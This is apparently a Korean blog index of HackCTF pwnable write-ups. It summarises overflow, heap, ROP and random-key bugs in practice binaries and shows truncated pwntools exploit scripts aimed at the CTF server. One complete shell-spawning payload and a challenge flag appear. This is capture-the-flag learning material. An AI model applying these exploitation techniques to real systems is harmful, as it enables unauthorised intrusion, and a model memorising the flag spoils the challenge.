HackCTF
-
[HackCTF : Pwnable] Pwning (300p)Wargame/HackCTF 2021. 12. 27. 16:37
[HackCTF : Pwnable] Pwning (300p) 입력한 숫자만큼의 byte를 입력받는다. 33 이상이면 No! That size (%d) is too large!를 출력하고 종료하는데 -1을 통해 우회할 수 있다. 다음은 그냥 rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./pwning") p = remote("ctf.j0n9hyun.xyz",3019) e = ELF("./pwning") prt_plt=e.plt['printf'] prt_got=e.got['printf'] vuln = e.symbols['vuln'] pay..
-
[HackCTF : Pwnable] Look at me (250p)Wargame/HackCTF 2021. 12. 27. 10:44
[HackCTF : Pwnable] Look at me (250p) 32bit, statically linked 입력받고 종료한다. gets()에서 bof가 터진다. statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다. 그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다. 메모리 영역에 대한 권한을 관리하는 함수다. bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./lookatme") p = remote("ctf.j0n9hyun...
-
[HackCTF : Pwnable] Beginner_Heap(250p)Wargame/HackCTF 2021. 12. 24. 15:26
[HackCTF : Pwnable] Beginner_Heap(250p) 2번 입력받고 종료한다. v3, 3+1, v4 v4+1에 동적 할당을 해준다. flag를 읽어주는 함수가 존재한다. 입력 받기전의 힙 상태이다. v3 = 1 (v3+1) = 0x6022c0 v4 = 2 (v4+1) = 0x602300 첫 번째 입력으로 이곳에 데이터가 들어가는데 bof를 통해 v4+1을 조작할 수 있다. 1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("ctf.j0n9hyun.xyz",3016) e = ELF("./beginner_heap.bin") payload = "A"*40 + p64(e.got['exit']) p.sendline(payload) p.sendline(..
-
[HackCTF : Pwnable] Gift(250p)Wargame/HackCTF 2021. 11. 26. 17:40
[HackCTF : Pwnable] Gift(250p) ㄷㄷ 주소 두 개를 뱉고 입력받은걸 출력해줌 binsh과 system이다. /bin/sh 문자열은 아니고 bss영역이다. 여기다가 /bin/sh 써주면 됨 system은 system 주소다 gets로 bss에 /bin/sh 문자열 써주고 system(bss) 해주면 됩니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * # p = process("./gift") p=remote("ctf.j0n9hyun.xyz",3018) e = ELF("./gift") gets=e.plt['gets'] pr=0x0804866b binsh..
-
[HackCTF : Pwnable] 1996 (200p)Wargame/HackCTF 2021. 11. 25. 16:34
[HackCTF : Pwnable] 1996 (200p) 입력한 환경변수를 출력해준다. cin으로 입력받기 때문에 bof가 터진다. 적당히 dummy 주고 spawn_shell을 덮어주면 된다. 1 2 3 4 5 6 7 8 9 10 from pwn import * # p=process("./1996") p = remote("ctf.j0n9hyun.xyz",3013) payload = "A"*0x418 payload += p64(0x0000000000400897) p.sendline(payload) p.interactive() cs ex.py
-
[HackCTF : Pwnable] ROP (300p)Wargame/HackCTF 2021. 8. 31. 16:20
[HackCTF : Pwnable] ROP (300p) 입력을 받고 종료한다. 대놓고 취약한 함수가 있다. 136byte buf에 256byte 입력을 받아 bof가 터짐 이전에 풀었던 Yes or no 문제랑 똑같이 풀었다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * p = remote("ctf.j0n9hyun.xyz",3021) e = ELF("./rop") libc = ELF("./libc.so.6") pppr = 0x08048509 write_plt = e.plt["write"] read_got = e.got["read"] read_offset = libc.symbols["read..
-
[HackCTF : Pwnable] Yes or no (150p)Wargame/HackCTF 2021. 8. 30. 15:26
[HackCTF : Pwnable] Yes or no (150p) 실행해보면 숫자 입력을 받고 종료한다. do_system+1094 관련해서 찾아보니 system함수를 실행할 때 피연산자[rsp+0x40]가 16byte로 정렬되어야 한단다. 입력받은 숫자가 35줄 조건에 맞으면 gets함수가 실행된다. 비교하는 부분에 break를 걸고 값을 확인해보자. 0x960000 여기서 RTL을 이용하면 되는데 ASLR 때문에 메모리 leak을 통해 libc_base를 구해줘야 한다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from..
-
[HackCTF : Pwnable] Random Key (200p)Wargame/HackCTF 2021. 7. 12. 10:51
[HackCTF : Pwnable] Random Key (200p) 문제 파일을 실행하면 이렇게 key를 입력받는다. 바로 ida로 확인해보자. 입력받은 값이 rand() 함수로 생성된 key값과 같아야 한다. srand에 현재 시간을 불러와서 rand 함수를 실행하기 때문에 같은 시간에 rand 함수로 key값을 만들어주면 된다. 이렇게 똑같은 코드를 짜주고 컴파일해준다. 이제 실행과 동시에 nc로 접속하면 된다. HackCTF{5087686686858549173307745189}